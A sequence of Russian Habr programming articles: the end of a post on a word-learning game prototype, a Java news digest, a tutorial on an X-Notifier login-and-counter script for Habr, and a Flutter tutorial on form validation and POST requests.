слишком плохим, поэтому я решил просто отфильтровать словарь и оставить только слова не длиннее 9 знаков в обоих случаях (русский и английский). В моем случае это было позволительно, потому что я взял за основу частотный словарь — то есть слова в нем были отсортированы по частоте употребления. В первой тысяче слов длинее 9 знаков было очень мало, а в первых десятках, то есть самых частых, их не было вовсе. Лимит в 9 знаков годится на этапе проверки концепции и для самых употребительных слов, но если развивать прототип — рано или поздно с этим придется что-то делать. Скорее всего, менять пропорции фишек или увеличивать их размер. Для немецкого языка это придется сделать даже в рамках первых самых популярных сотен слов — а немецкий я тоже хочу потестировать, вспомнить школьные годы. Второй момент — визуальное совпадение букв в английском и русском языке. Русское «не» и английский he в верхнем регистре часто совпадают просто до пикселя. Частотный словарь усиливает этот эффект, потому что эти короткие слова оказываются в одном уроке почти в самом начале. ![](https://habrastorage.org/r/w1560/webt/ht/78/dh/ht78dhxyvazjcbe4enz43rzuans.png) *Русское НЕ и английский HE в верхнем регистре выглядят одинаково* Серый флажок помогал слабо, слова путались. После первых жалоб тестеров я поменял регистр у надписей на обычный lowercase. И тут увидел следующий баг — буквы стали плясать, в некоторых словах уплывая по вертикали на целый пиксель. ![](https://habrastorage.org/r/w1560/webt/-p/oe/mz/-poemznzdblvlibuhs9sghtqbcq.png) Причина была в том, что я использовал для вывода один растровый шрифт (сформированный как набор картинок-букв в одном размере), масштабируя его по мере надобности. В большинстве случаев это проходит гладко, но на мелких буквах возникают ошибки округления — иногда съедается один пиксель, что и дает эффект пляски. > Мораль: растровый шрифт для мелких текстов надо сразу готовить в нужном размере После подготовки отдельного шрифта все перестали плясать и встали строго по базовой линии. ![](https://habrastorage.org/r/w1560/webt/fi/nc/r2/fincr2tmqe_b55v6m_scrbut5yc.png) Если вы будете использовать Phaser или другой HTML5-движок в своих проектах, то вот еще один совет: выводите растровый шрифт сразу в том цвете, который будет использоваться в игре. Иначе это дает дополнительную нагрузку на процессор, что в играх с кучей действия и эффектов может привести к сильному проседанию FPS. Кроме того, даже в последнем мобильном Chrome на некоторых Android-планшетах «неродной» цвет, заданный растровому шрифту программно, может не отображаться совсем — будет вывод в дефолтном. И, разумеется, словарь для такой игры лучше всего подключать как отдельно загружаемый файл — это позволит обновлять его, если будут замечены опечатки или сомнительные варианты. К примеру, мой вариант словаря, похоже, составлялся по массивам переведенных текстов с учетом контекста, поэтому «что» в первых уроках там переводилось как «that». Понятно, что в таком значении эта частица употребляется значительно чаще, чем вопрос, но для обучения без контекста это не годится. Мой главный вывод по словарю — частицы и другие слова, сильно зависящие от контекста, не годятся для обучения по таким чистым парам. Варианты решения, которые я вижу — делать какую-то отдельную игрушку по частицам или создавать фишки с более длинными текстами. Второй вариант выглядит более логичным, так как одними словами грамотен не будешь и полноценно учить язык необходимо все же с контекстом, хотя бы на примере небольших выражений. А это значит — впереди еще много экспериментов! Туториал -------- Сначала я тестировал игру, в которой просто выкладывались фишки — и это было занятно, поскольку геймплей сводился к радостному припоминанию уже известных выражений и это давало чувство легкой победы, что и требовалось. Но потом я понял, что это не будет работать с абсолютно незнакомым языком. Поэтому пришлось добавить опцию обучения — перед началом урока игра показывает фишки в правильных парах, а затем перемешивает их. ![](https://habrastorage.org/r/w1560/webt/ke/be/ik/kebeikc2xlafqctwpwicainwjaq.png) Технически это реализовано так — уровень изначально выкладывается как обычно, то есть в случайном порядке. Затем, если включена опция туториала, запускается функция, которая запоминает исходные координаты фишек, добавляет к ним анимацию полета и раскладки в рабочие пары, а потом все возвращает на свои места. Поскольку выкладка и подготовка туториала происходит до начала первого цикла update (перерисовки экрана), пользователю кажется, что игра сначала выводит фишки в правильном порядке, а затем случайно перемешивает их. В движке Phaser у Group есть метод shuffle, который работает как перемешивание обычного массива, но попутно обновляет Z-index. Это очень удобная функция, которая безусловно пригодится для реализации полноценного маджонга и других игр, где есть хотя бы условное третье измерение и элементы накладываются друг на друга. Алгоритм начала игры выглядит просто — берем N пар из словаря пар для заданного урока, формируем из них визуальные элементы-фишки, затем делаем shuffle и выстраиваем в сетку — получается псевдослучайная раскладка. В туториале происходит обратный процесс — на массиве фишек вызывается функция sort, где значимым параметром является id пары из словаря — так фишки выстраиваются друг за другом попарно, после чего остается разместить их в две колонки. Прогресс -------- Для наблюдения за прогрессом я добавил небольшие индикаторы в стартовое меню и звездочку, которая должна появиться при полном прохождении всех уровней в сотне слов. На скриншоте изображена искусственная ситуация с тестовой звездочкой. ![](https://habrastorage.org/r/w1560/webt/p6/6n/nz/p66nnz3wdjfh-chqzl52oikcmrq.png) Султана с лицом Картмана я взял на Craftpix.net — он шел в том же бесплатном наборе, что и алмазы. Просто, чтобы оживить заставку. Хотя если вы не любите султанов или Картмана — признаю, что ход не особо удачен. Выводы и перспективы -------------------- Я уверен, что обучающий таймкиллер — настоящий таймкиллер, а не этот прототип, что я сделал — возможен. И когда они появятся в массовом количестве, мир может измениться к лучшему. Как минимум, миллионы людей будут тратить сотни часов не впустую. Если у вас есть под рукой код для обычной игры на комбинации и несколько свободных дней — попробуйте поэкспериментировать, хотя бы на парных словах. Можете взять [готовый JSON-файл здесь](http://kvisaz.com/download/2018-06-06-dict/ru-en.zip). В нем больше, чем тысяча пар, я формировал с запасом. Все match3 и match2 игры — с шариками, алмазами, фишками для маджонга, рыбками и медвежатами, с фрактальной динамической выкладкой как Zuma или статическим полем, как в большинстве игр — это по сути задания на составление комбинаций, на подбор групп по какому-то признаку. В текущих играх этот признак не несет никакой полезной нагрузки, люди просто комбинируют красные и зеленые шарики, полупрозрачные полосатые желейные конфеты и липких мармеладных медвежат. А что, если эти медвежата будут насыщены полезными витаминами? Я помню, что ряд английских слов я выучил по Fallout и Heroes Might and Magic, значит, такие витамины существуют. Мой прототип игры [можно потестить здесь](http://kvisaz.com/games/000-1000words/v1.1/index.html). Там есть выбор разных сотен и уровней, сохранение, прогресс и тысяча самых употребительных английских слов. Верстка рассчитана на десктопные мониторы или планшеты. Каждый уровень рассчитан на несколько минут, содержит 5 новых слов и 6 повторных с предыдущих (по формуле случайной выборки 3, 2, 1). **Обновлено 13.06.18**: добавлены переходы между сотнями слов и салют при прохождение последнего уровня в каждой сотне. Также убраны из словаря некоторые контекстные пары, которые не имеют смысла в одиночных переводах. Оптимизирована работа с памятью.
https://habr.com/ru/post/413391/
null
ru
null
# Java-дайджест за 4 мая ![](https://habrastorage.org/r/w1560/webt/km/fb/el/kmfbelplixyjzo_ldnolg36aoae.png) * Вышла совершенно новая библиотека [Enriched Beans](https://github.com/stCarolas/enriched-beans) — генератор исходников, совместимый с [JSR 330: Dependency Injection for Java](https://jcp.org/en/jsr/detail?id=330). Конкретно, генерит он фабрики, совместимые с фреймворками вроде Spring и Micronaut. Работает примерно как [AutoFactory](https://github.com/google/auto/tree/master/factory), может использоваться вместе с [Lombok](https://projectlombok.org/). В смысле, если в Guice вам нужно писать конструктор руками, то тут можно подцепить то, что сгенерил Lombok. Получаются простые POJO, каждое генерируемое поведение можно менять/подменять/оборачивать как хочешь, нормально работает автодополнение в IDE, код более-менее ООП-шный. Если перечисленные аббревиатуры ничего не говорят — проходите мимо :) Из минусов — 1 контрибьютор, 18 коммитов, насколько хорошо это работает — никому не ведомо. * Вышла [OmniFaces 3.6](https://omnifaces.org/) — библиотека утилит для Java Server Faces (JSF). Эти утилиты решают простые повседневные проблемы, заменяют все ваши `JSFUtils` и `FacesUtils` с одним и тем же скопипащенным кодом, кочующим из проекта в проект. В свежей версии добавилась очередная пачка методов-утилит, `WebAppManifestResourceHandler` (генерит `manifest.json` на основе полей CDI-бина), (используется в компонентах `UIOutcomeTarget` вроде для `MultiViews`). * Вышла [IntelliJ IDEA 2020.1.1](https://blog.jetbrains.com/idea/2020/04/intellij-idea-2020-1-1/). Несколько фиксов, [добавилась](https://youtrack.jetbrains.com/issue/IDEA-233724) официальная поддержка Apache Tomcat 10. Ченжлог [по ссылке](https://confluence.jetbrains.com/display/IDEADEV/IntelliJ+IDEA+2020.1.1+%28201.7223.91+build%29+Release+Notes). Java Platform ============= * Вышло [исследование LampStudy](https://lampstudy.net/most-in-demand-programming-languages-in-2020/), которое утверждает, что Java — вторая по востребованности платформа разработки. На первом месте, как вы и ожидали, JavaScript. Фронтенд сам себя десять раз в год не перепишет. * Обратите внимание на [JEP 374: Disable and Deprecate Biased Locking](https://openjdk.java.net/jeps/374). JEP довольно новый (начало этого года), и сейчас активно собирается фидбэк от коммитеров и ревьюеров. Дедлайн — пятница, 8 мая, 23:59 UTC. Если все проблемы решат к дедлайну, то согласно процессу JEP 2.0, этот JEP отправится в JDK 15. * Другой JEP, который предлагается добавить в JDK 15 — [JEP 373: Reimplement the Legacy DatagramSocket API](https://openjdk.java.net/jeps/373). Текущие реализации `java.net.DatagramSocket` и `java.net.MulticastSocket` — дремучее легаси 20-летней давности, отлаживать и поддерживать которое невозможно. Предлагается переписать их с нуля с учётом появления Project Loom. Можно считать это продолжением истории из [JEP 353: Reimplement the Legacy Socket API](https://openjdk.java.net/jeps/353). * Добро пожаловать во второе превью [JEP 375: Pattern Matching for instanceof](https://openjdk.java.net/jeps/375) для JDK 15. Во-первых, нужно продолжать тестить. Во-вторых, было что-то нездоровое с деконструкцией рекордов: вначале их добавили, а потом снова убрали (подробности [в тикете](https://bugs.openjdk.java.net/browse/JDK-8235186)). Пофиксили баг [с мусором в байткоде](https://bugs.openjdk.java.net/browse/JDK-8237528). Можно даже сказать, двойные превью — новая норма, смотрите [доклад Доктора Депрекатора](https://www.youtube.com/watch?v=qKeMB7OoGJk&feature=youtu.be&t=754). Spring ====== * Вышел [Spring Boot 2.3.0.RC1](https://spring.io/blog/2020/05/01/spring-boot-2-3-0-rc1-available-now). В новом релиз-кандидате: автоконфигурация Wavefront-сендера, упрощенная конфигурация конвертации даты и времени для веб-приложений, автоматическое создание конфигурации `developmentOnly` для Gradle, поддержка недавно появившегося проекта [Paketo](https://paketo.io/). * Вышел релиз-кандидат [Spring for Apache Kafka 2.5.0](https://spring.io/blog/2020/04/30/spring-for-apache-kafka-2-5-0-release-candidate). Умеет работать с `kafka-clients` 2.5.0 (совпадение номеров версий — совершенно случайно!), добавили кафковой специфики про переотправку в случае кооперативной ребалансировки, `fetch-offset-request` для брокеров версии 2.5 и выше, улучшили интеграцию с Micrometer, сделали простой сериализатор и десериализатор `String`, в `JsonDeserializer` можно определять создаваемый тип и так далее. Полный список фичей [есть здесь](https://docs.spring.io/spring-kafka/docs/2.5.0.RC1/reference/html/#whats-new-part). Если руки зачесались обновиться, вспомните, что это всё ещё релиз-кандидат :) * Появилась пачка обновлений [Spring Integration 5.3 RC1, 5.2.6 & 5.1.10](https://spring.io/blog/2020/04/30/spring-integration-5-3-rc1-5-2-6-5-1-10-available). Описание изменений потребовало бы перечислять длинный список классов, и что с ними сделали, поэтому лучше сразу пройти [в ченжлог](https://docs.spring.io/spring-integration/docs/5.3.0.RC1/reference/html/whats-new.html#whats-new). Сервисы ======= * Google [добавили](https://cloud.google.com/blog/products/databases/native-cloud-database-spanner-adds-features) в Cloud Spanner набор интересных фичей. Cloud Spanner — это глобальная распределенная база данных для Google Cloud Platform. Из интересных фичей — [управляемый бэкап](https://cloud.google.com/spanner/docs/backup), который как-то компенсирует логические ошибки в приложениях. Бэкапы жестко оптимизируются на скорость развертывания, поэтому новый инстанс может развернуться из бэкапа за считаные минуты, даже если там бешеные терабайты данных. Теоретически. Статьи, подкасты, стримы ======================== * Наш друг и известный докладчик Себастиан Дашнер выпустил [очередное 7-минутное видео](https://blog.sebastian-daschner.com/entries/debugging-system-tests-containers-quarkus) о том, как отлаживать тесты в контейнере, когда у вас Quarkus. * Другой наш друг и докладчик, Джош Лонг, [выпустил очередной Bootiful Podcast](https://spring.io/blog/2020/05/01/adrian-cole-founder-or-co-founder-of-feign-jclouds-and-spring-cloud-sleuth-and-major-contributor-to-openzipkin), в котором беседует с Адрианом Коулом — сооснователем Feign, JClouds и Spring Cloud Sleuth. Кроме того, Адриан — один из основных контрибьюторов в OpenZipkin. * Сколько памяти было впустую потеряно при добавлении нового булевского значения в `java.lang.String` в JDK 13? Нисколько. Шок-контент [по ссылке](https://www.javaspecialists.eu/archive/Issue278.html). * Интересная статья [«A New Era of Spring Cloud»](https://piotrminkowski.com/2020/05/01/a-new-era-of-spring-cloud/) от Петра Миньковски (Piotr Mińkowski) о том, как жить в непростые времена, когда почти все компоненты Spring Cloud Netflix заморожены на поддержку еще со времен трейна Greenwich, а вместо них выкатили что-то совершенно новое. Забавно, что Spring Cloud Netflix всё ещё самый популярный проект Spring (около 4 тысяч звездочек на GitHub), и можно понять, почему! * В блоге Amis Technology [появилась статья](https://technology.amis.nl/2020/04/10/spring-blocking-vs-non-blocking-r2dbc-vs-jdbc-and-webflux-vs-web-mvc/) с графиками производительности, в которых соревнуются блокирующие и неблокирующие технологии экосистемы Spring: R2DBC против JDBC и WebFlux против Web MVC. * Алмас Баимагамбетов [пишет на JavaFX](https://www.youtube.com/watch?v=vrEnmDZW7Ag) анимированное диалоговое окно. * Адам Биен продолжает жечь на стримах, на этот раз он [полез в браузер](https://www.youtube.com/watch?v=s9Jt8C5ThpY) и конкретно — querySelector и querySelectorAll. При чем тут Java — понятно постоянным зрителям этих стримов, всё складывается в картинку. Я просто открываю его на отдельном мониторе и слушаю параллельно с другими делами. * Наш домашний подкаст «Битовая Каска» [провёл живой стрим](https://www.youtube.com/watch?v=CsRHAqYGGG8) выпуска с легендарным предводителем JUG Ru Group, Алексеем Фёдоровым. Правильно оформленная запись подкаста появится в сети позже, когда мы обработаем звук. * Я на [канале JavaWatch](https://www.youtube.com/watch?v=7Pm-prh4x_M) пытался завести технологии из набора Project Leyden. В целом, не обнаружил какого-то серьезного ускорения на Windows, что ожидаемо, тем более что PowerShell в Windows — очень сомнительный метод измерения с чудовищным разбросом. По юзабилити — в JDK 11 был баг, не позволявший собирать на Visual Studio 2019, пришлось использовать JDK 14. Сборка java.base вывалила какую-то тонну ошибок, но собрало. so-шник через jaotc генерируется, exe-шник — нет. jlink — это много возни. Сравнить с GraalVM не получилось — native-image для Windows падал с какой-то внутренней ошибкой. Ждем и надеемся на лучшее! --- ![](https://habrastorage.org/r/w1560/webt/_f/ku/xn/_fkuxncdimo0rsaeealkeqpe8f0.png)Дайджесты публикуются при поддержке JUG Ru Group и конференции JPoint. Зарегистрироваться на летнюю онлайн-конференцию [можно на официальном сайте](https://jpoint.ru/registration/?utm_source=habr&utm_medium=500332).
https://habr.com/ru/post/500332/
null
ru
null
# X-Notifier. Пишем оповещалку для трекера и диалогов на Хабарахабр ![](https://habrastorage.org/getpro/habr/post_images/471/55a/aab/47155aaab99765863efd7f63570cef2a.gif) Есть хороший плагин для всех популярных браузеров, [X-Notifier](http://xnotifier.tobwithu.com/dp/). Он позволяет получать уведомления о новых письмах, сообщениях, да о чем угодно с различных сервисов в одном месте. Для X-Notifier написано [множество скриптов](http://xnotifier.tobwithu.com/scripts.php) (Gmail, Яндекс.Почта, Google+, Facebook, Twitter и прочих). Но скрипта для Хабра, до сих пор никто не написал, пора исправить это недоразумение! ##### Вступление Скрипт созданный по методам используемыми в этом посте, с большой вероятностью будет работать в любом браузере, для которого существует это дополнение. Скрипт написанный для Хабра, тестировался только в Firefox и Google Chrome, в последнем он работает с [ограничениями](#restrictions). Так же на данном этапе поддерживается одновременная работа только с одним аккаунтом. Для тех, кто не хочет читать статью, а просто хочет оповещалку, [ссылка на заключение](#download). ##### Изучение цели Если описать процесс поверхностно, то нам нужно сделать следующее. Отправить запрос с данными на авторизацию, получить куки и время от времени получать страницу авторизованного пользователя и парсить счетчики трекера и диалогов. Все предельно просто! Рассмотрим форму авторизации на странице <https://id.tmtm.ru/login/> (лишние детали убраны): **Форма**![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c61/b47/3e3/c61b473e36dc945fca41cf982e5788d2.jpg) ``` ``` Здесь мы видим 3 видимых поля для отправки (email, password, recaptcha\_response\_field), с ними все понятно. А так же 5 скрытых (state, consumer, captcha, recaptcha\_challenge\_field, captcha\_type). Поле `state` представляет собой некий уникальный идентификатор который генерируется для каждого логина, `consumer` для нас это статичное значение и всегда равно `habrahabr`, значение `captcha` отправляется всегда пустое, `recaptcha_challenge_field` уникальный идентификатор капчи, `captcha_type` всегда равно `recaptcha`. С формой все понятно, теперь перейдем к данным для счетчика. Это панель пользователя. **Панель**![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/a9f/ccf/d5c/a9fccfd5c303270e844d0ae63c16021d.jpg) ``` [трекер](http://habrahabr.ru/tracker/) [+2](http://habrahabr.ru/tracker/) [диалоги](http://habrahabr.ru/conversations/) [избранное](http://habrahabr.ru/users/BloodUnit/favorites/) ``` Тут все просто, нам необходимо просто пройтись по строке регуляркой, и захватить счетчик трекера и диалогов если они есть. Приступим к реализации. ##### API У плагина есть что-то вроде API, но документации к нему мне найти не удалось, и скорее всего, ее нет. Единственное что нашлось, это [заметка](http://xnotifier.tobwithu.com/dp/node/875) как включить логи и [небольшой пост](http://xnotifier.tobwithu.com/dp/node/7) от разработчика аддона, но он подходит только для сайтов с простой авторизацией, хабр не из таких. Поэтому пришлось читать [исходники](https://addons.mozilla.org/ru/seamonkey/files/browse/236615/file/components/Handler.js#top) и пробовать, и пробовать… Рассмотрим методы которые предстоит использовать. Всего их нам понадобится 5: * *init()* — метод инициализации скрипта, запускается один раз при старте * *getCount(aData)* — метод принимающий строку(обычно это HTML), и возвращающий счетчик. Если счетчик >= 0, проверка проведена успешно, иначе проверка завершилась ошибкой * *checkLogin(aData, aHttp)* — проверяет состояние логина, aData строка(как правило HTML), aHttp объект [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) * *process(aData, aHttp)* — метод запускается на каждом этапе(ниже приведен список) работы плагина, aData строка данных(как правило HTML), aHttp объект [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) * *dlog(name, data)* — метод для записи в лог, принимает два строковых параметра Список этапов, число это последовательность выполнения: * *ST\_CHECK = 0* — проверка авторизации * *ST\_PRE = 100* — подготовка к логину * *ST\_PRE\_RES = 101* — прием ответа от запроса запущенного на предыдущем этапе * *ST\_LOGIN = 200* — логин * *ST\_LOGIN\_RES = 201* — прием ответа от запроса запущенного на предыдущем этапе * *ST\_DATA = 300* — запрос данных для обработки, например подсчета непрочитанных сообщений * *ST\_DATA\_RES = 301* — прием ответа от запроса запущенного на предыдущем этапе Некоторые этапы, например такие как ST\_LOGIN реализованы плагином и подходят для большинства сайтов с простой авторизацией, но вы можете их переопределить, что мы и сделаем. ##### Пишем Для начала нам надо инициализировать скрипт. Здесь мы зададим некоторые статичные параметры и этап с которого предстоит выполнение скрипта. **Скрытый текст** ``` function init() { this.initStage = ST_PRE; // По умолчанию, первым идет этап ST_LOGIN, но так как нам предстоит разгадывать капчу, то мы ставим подготовку this.loginData = ["https://id.tmtm.ru/ajax/login/", "email", "password", "consumer=habrahabr&captcha_type=recaptcha&captcha="]; // Первый элемент массива URL для постинга формы, второй и трейтий значения атрибутов name для полей e-mail и пароля, четвертый дополнительные параметры this.dataURL = "http://habrahabr.ru/"; // URL для парсинга this.viewURL = "http://habrahabr.ru/tracker/"; // URL который будет открываться при клике this.cookieDomain = "habrahabr.ru"; // Домен для которого будут ставиться куки } ``` Следующий шаг — это авторизация, все этапы расположены в хронологическом порядке: **Скрытый текст** ``` function process(aData, aHttp) { switch (this.stage) { /* Переходим по ссылке логина, чтобы хабр сгнерировал нам state */ case ST_PRE: this.getHtml("https://auth.habrahabr.ru/login/"); return false; /* Получаем страницу с формой, парсим state и ссылку на скрипт recaptcha, скачиваем скрипт и переходим к следующему этапу */ case ST_PRE_RES: var recaptchaScriptLink = aData.match(/(\/\/www.google.com\/recaptcha\/api\/challenge\S+?)"/); var state = aData.match(/state=([\w\n]+)/); if (recaptchaScriptLink && state) { this.originPostData = this.loginData[LOGIN_POST]; this.loginData[LOGIN_POST] += "&state=" + encodeURIComponent(state[1]); this.referer = this.loginData[LOGIN_URL] + "?" + "&state=" + encodeURIComponent(state[1]) + "&consumer=habrahabr"; this.getHtml("https:" + recaptchaScriptLink[1]); return false; } this.onError(); break; /* Получаем ссылку на капчу и выводим окно ввода пользователю */ case ST_PRE_RES + 1: var recaptchaUid = aData.match(/challenge\s*:\s*'(\S+?)'/); if (recaptchaUid) { this.loginData[LOGIN_POST] += "&recaptcha_challenge_field=" + encodeURIComponent(recaptchaUid[1]); this.openCaptchaDialog(this.id, this.user, "https://www.google.com/recaptcha/api/image?c=" + recaptchaUid[1]); return false; } this.onError(); break; /* Добавляем введенные пользователем данные в запрос */ case ST_PRE_RES + 2: this.loginData[LOGIN_POST] += "&recaptcha_response_field=" + encodeURIComponent(aData); this.stage = ST_LOGIN; return this.process(aData, aHttp); break; /* Посылаем запрос авторизации */ case ST_LOGIN: this.getHtml(this.loginData[LOGIN_URL], this.loginData[LOGIN_POST], { Referer: this.referer }); return false; /* Обрабатываем запрос авторизации и устанавлиаем следующим шагом получение данных для обработки */ case ST_LOGIN_RES: this.loginData[LOGIN_POST] = this.originPostData; var habrRedirectLink = aData.match(/'(.*?)'/); if (habrRedirectLink) { this.getHtml(habrRedirectLink[1]); } this.stage = ST_DATA; return true; } return this.baseProcess(aData, aHttp); } ``` Тут есть несколько моментов. * Javascript в контексте плагина не выполняется, поэтому нам необходимо делать лишние телодвижения для получения ссылки на капчу * Если этап возвращает `false`, будет инкрементировано значение последовательности. * Данные которые возвращают методы `this.getHtml` и `this.openCaptchaDialog`, будут переданы следующему этапу * На этапе `ST_LOGIN`, нам необходимо устанавливать значение Referer, иначе авторизация не пройдет. Google Chrome не позволяет устанавливать этот параметр (и это [стандарт](http://www.w3.org/TR/XMLHttpRequest/#the-setrequestheader%28%29-method), хотя и в Working Draft), соответственно авторизация **через плагин** в нем работать не будет, но если вы залогинены на сайте, то все будет работать нормально! * На этапе `ST_LOGIN`, Хабр возвращает скрипт с редиректом на главную который выглядит примерно так: **Скрытый текст** ``` window.location.href = 'https://habrahabr.ru/ac/entrance/?token=5a15a5d48c7fdeaed5ab20e852107dc6&state=26593fdea0963d8241aab3f20a6893b4&time=1390388377&sign=bb8f45d63c768ed6aebc5ae2bb22de3b'; ``` Реализация метода проверки логина очень проста: **Скрытый текст** ``` function checkLogin(aData, aHttp) { switch (this.stage) { /* Получаем HTML главной страницы */ case ST_CHECK: this.getHtml(this.dataURL); return false; /* Ищем ссылку логина на ней, если не находим, залогинены */ case ST_CHECK + 1: var loginLink = aData.match(/ ``` И наконец последний метод, парсинг счетчиков: **Скрытый текст** ``` function getCount(aData) { var userMenu = aData.match(/userpanel[\s\S]*?charge_string/); if (!userMenu) { return -1; } else { var counter = 0; var counterRegex = /class="count"[^>]*>\+?(\d*)/g var counterResult; while ((counterResult = counterRegex.exec(userMenu[0])) !== null) { counter += +counterResult[1] || 0; } return counter; } } ``` Тут пояснять даже особо нечего, просто выбираем значения регулярными выражениями, и возвращаем полученный результат. ##### Заключение В данном посте был показан пример, как написать простой скрипт для проверки сайта на предмет новых сообщений. Следуя этим правилам, вы можете написать скрипт практически для любого сайта. Некоторые скрипты будут гораздо проще в написании, особенно если у сайта простая схема авторизации (например скрипт для Яндекс.Почты умещается в 30 строк). ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/cdc/057/26e/cdc05726e33ce0c61da511d13a69eab9.jpg) *Готовый скрипт для Хабра можно скачать со [страницы скриптов для X-Notifier](http://xnotifier.tobwithu.com/scripts.php?key=name&dir=1&page=2) или взять [на GitHub](https://github.com/olsh/XNotifier-Habrahabr)*. Форки и пулл реквесты приветствуются. [Страница дополнения](http://xnotifier.tobwithu.com/dp/).
https://habr.com/ru/post/210020/
null
ru
null
# Основы Flutter для начинающих (Часть VI) Когда вы создаете различные формы (например: регистрации или входа) на Flutter, вы не заморачиваетесь с кастомизацией компонентов, потому что вы можете изменить любое поле формы под свой стиль. Помимо кастомизации, Flutter предоставляет возможность обработки ошибок и валидации полей формы. И сегодня мы постараемся разобраться с этой темой на небольшом примере. Ну что ж, погнали! Наш план* [Часть 1](https://habr.com/en/post/560008/) - введение в разработку, первое приложение, понятие состояния; * [Часть 2](https://habr.com/en/post/560282/) - файл pubspec.yaml и использование flutter в командной строке; * [Часть 3](https://habr.com/en/post/560646/) - BottomNavigationBar и Navigator; * [Часть 4](https://habr.com/en/post/560806/)- MVC. Мы будем использовать именно этот паттерн, как один из самых простых; * [Часть 5](https://habr.com/en/post/560964/) - http пакет. Создание Repository класса, первые запросы, вывод списка постов; * Часть 6 (текущая статья) - работа с формами, текстовые поля и создание поста. * [Часть 7](https://habr.com/en/post/561614/) - работа с картинками, вывод картинок в виде сетки, получение картинок из сети, добавление своих в приложение; * [Часть 8](https://habr.com/en/post/562136/) - создание своей темы, добавление кастомных шрифтов и анимации; * [Часть 9](https://habr.com/en/post/562352/) - немного о тестировании; Создание формы: добавление поста -------------------------------- Для начала добавим на нашу страницу `HomePage` кнопку по которой мы будем добавлять новый пост: ``` @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text("Post List Page"), ), body: _buildContent(), // в первой части мы уже рассматривали FloatingActionButton floatingActionButton: FloatingActionButton( child: Icon(Icons.add), onPressed: () { }, ), ); } ``` Далее создадим новую страницу в файле `post_add_page.dart`: ``` import 'package:flutter/material.dart'; class PostDetailPage extends StatefulWidget { @override _PostDetailPageState createState() => _PostDetailPageState(); } class _PostDetailPageState extends State { // TextEditingController'ы позволят нам получить текст из полей формы final TextEditingController titleController = TextEditingController(); final TextEditingController contentController = TextEditingController(); // \_formKey пригодится нам для валидации final \_formKey = GlobalKey(); @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text("Post Add Page"), actions: [ // пункт меню в AppBar IconButton( icon: Icon(Icons.check), onPressed: () { // сначала запускаем валидацию формы if (\_formKey.currentState!.validate()) { // здесь мы будем делать запроc на сервер } }, ) ], ), body: Padding( padding: EdgeInsets.all(15), child: \_buildContent(), ), ); } Widget \_buildContent() { // построение формы return Form( key: \_formKey, // у нас будет два поля child: Column( children: [ // поля для ввода заголовка TextFormField( // указываем для поля границу, // иконку и подсказку (hint) decoration: InputDecoration( border: OutlineInputBorder(), prefixIcon: Icon(Icons.face), hintText: "Заголовок" ), // не забываем указать TextEditingController controller: titleController, // параметр validator - функция которая, // должна возвращать null при успешной проверки // или строку при неудачной validator: (value) { // здесь мы для наглядности добавили 2 проверки if (value == null || value.isEmpty) { return "Заголовок пустой"; } if (value.length < 3) { return "Заголовок должен быть не короче 3 символов"; } return null; }, ), // небольшой отступ между полями SizedBox(height: 10), // Expanded означает, что мы должны // расширить наше поле на все доступное пространство Expanded( child: TextFormField( // maxLines: null и expands: true // указаны для расширения поля на все доступное пространство maxLines: null, expands: true, textAlignVertical: TextAlignVertical.top, decoration: InputDecoration( border: OutlineInputBorder(), hintText: "Содержание", ), // не забываем указать TextEditingController controller: contentController, // также добавляем проверку поля validator: (value) { if (value == null || value.isEmpty) { return "Содержание пустое"; } return null; }, ), ) ], ), ); } } ``` Не забудьте добавить переход на страницу формы: ``` floatingActionButton: FloatingActionButton( child: Icon(Icons.add), onPressed: () { Navigator.push(context, MaterialPageRoute( builder: (context) => PostDetailPage() )); }, ), ``` Запускаем и нажимаем на кнопку: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/976/61e/61e/97661e61ebea34d975c4fa341d7cfea3.png)Вуаля! Форма работает. Небольшая заметка ----------------- У новичков могут возникнуть проблемы даже с готовым кодом. И это не издевательство, такое бывает. Поэтому для 100%-ной работы коды постарайтесь использовать схожие версии Flutter и Dart с моими: * Flutter 2.0.6 * Dart SDK version: 2.12.3 Также в комментах я обратил внимание на *null safety*. Это очень важно, я позабыл об этом и это мой косяк. Я уже добавил в приложение поддержку *null safety*. Вы наверно обратили внимание на восклицательный знак: ``` // ! указывает на то, что мы 100% уверены // что currentState не содержит null значение _formKey.currentState!.validate() ``` О *null safety* и о её поддержи в Dart можно сделать целый цикл статей, а возможно и написать целую книгу. Мы задерживаться не будем и переходим к созданию POST запроса. POST запрос для добавления данных на сервер ------------------------------------------- POST, как уже было отмечено, является одним из HTTP методов и служит для добавления новых данных на сервер. Для начала добавим модель для нашего результата и изменим немного класс `Post`: ``` class Post { // все поля являются private // это сделано для инкапсуляции данных final int? _userId; final int? _id; final String? _title; final String? _body; // создаем getters для наших полей // дабы только мы могли читать их int? get userId => _userId; int? get id => _id; String? get title => _title; String? get body => _body; // добавим новый конструктор для поста Post(this._userId, this._id, this._title, this._body); // toJson() превращает Post в строку JSON String toJson() { return json.encode({ "title": _title, "content": _body }); } // Dart позволяет создавать конструкторы с разными именами // В данном случае Post.fromJson(json) - это конструктор // здесь мы принимаем объект поста и получаем его поля // обратите внимание, что dynamic переменная // может иметь разные типы: String, int, double и т.д. Post.fromJson(Map json) : this.\_userId = json["userId"], this.\_id = json["id"], this.\_title = json["title"], this.\_body = json["body"]; } // у нас будут только два состояния abstract class PostAdd {} // успешное добавление class PostAddSuccess extends PostAdd {} // ошибка class PostAddFailure extends PostAdd {} ``` Затем создадим новый метод в нашем `Repository`: ``` // добавление поста на сервер Future addPost(Post post) async { final url = Uri.parse("$SERVER/posts"); // делаем POST запрос, в качестве тела // указываем JSON строку нового поста final response = await http.post(url, body: post.toJson()); // если пост был успешно добавлен if (response.statusCode == 201) { // говорим, что все ок return PostAddSuccess(); } else { // иначе ошибка return PostAddFailure(); } } ``` Далее добавим немного кода в `PostController`: ``` // добавление поста // функция addPost будет принимать callback, // через который мы будет получать результат void addPost(Post post, void Function(PostAdd) callback) async { try { final result = await repo.addPost(post); // сервер вернул результат callback(result); } catch (error) { // произошла ошибка callback(PostAddFailure()); } } ``` Ну что ж пора нам 